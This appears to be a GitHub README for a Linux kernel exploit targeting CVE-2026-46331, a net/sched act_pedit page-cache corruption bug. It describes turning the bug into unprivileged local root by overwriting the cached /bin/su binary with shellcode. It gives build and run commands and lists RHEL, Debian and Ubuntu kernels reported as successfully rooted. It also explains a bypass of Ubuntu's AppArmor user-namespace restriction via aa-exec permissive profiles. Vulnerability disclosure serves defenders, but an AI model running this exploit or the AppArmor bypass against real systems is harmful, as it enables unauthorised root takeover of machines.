PACKETEDITMEME - aka CVE-2026-46331

June 17, 2026 · View on GitHub

net/sched act_pedit partial-COW page-cache corruption (culprit 899ee91156e5, present v5.18 .. fixed v7.1-rc7). packet_edit_meme.c turns it into unprivileged local root: a userns CAP_NET_ADMIN child overwrites the cached ELF entry of setuid-root /bin/su with setgid(0)+setuid(0)+execve("/bin/sh") shellcode.

make                     
./packet_edit_meme         
./packet_edit_meme --ubuntu  # AppArmor-gated Ubuntu: aa-exec bypass first

Targets (verified 2026-06, unprivileged user -> root)

Distro	Kernel	Flag	Result
RHEL 10.0	6.12.0-228.el10	(none)	ROOT
Debian 13 trixie	6.12.90+deb13.1	(none)	ROOT
Ubuntu 24.04.4	6.17.0-22	--ubuntu	ROOT
Ubuntu 26.04	7.0.0-14-generic	--ubuntu	FAIL

RHEL / Debian: unprivileged userns is open by default, no flag needed. RHEL ships no cls_basic / em_meta, so the primitive falls back to matchall automatically.

Ubuntu AppArmor gate

Ubuntu denies unconfined unprivileged userns via two sysctls:

kernel.apparmor_restrict_unprivileged_userns       # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined   # forces unconfined change_profile to STACK,
                                                   # so an aa-exec permissive profile cannot
                                                   # shed the userns restriction

--ubuntu re-execs via aa-exec -p {trinity,chrome,flatpak} (profiles that carry a userns, rule).

24.04.4 : userns=1, unconfined=0  -> aa-exec bypass WORKS
26.04   : userns=1, unconfined=1  -> aa-exec bypass CLOSED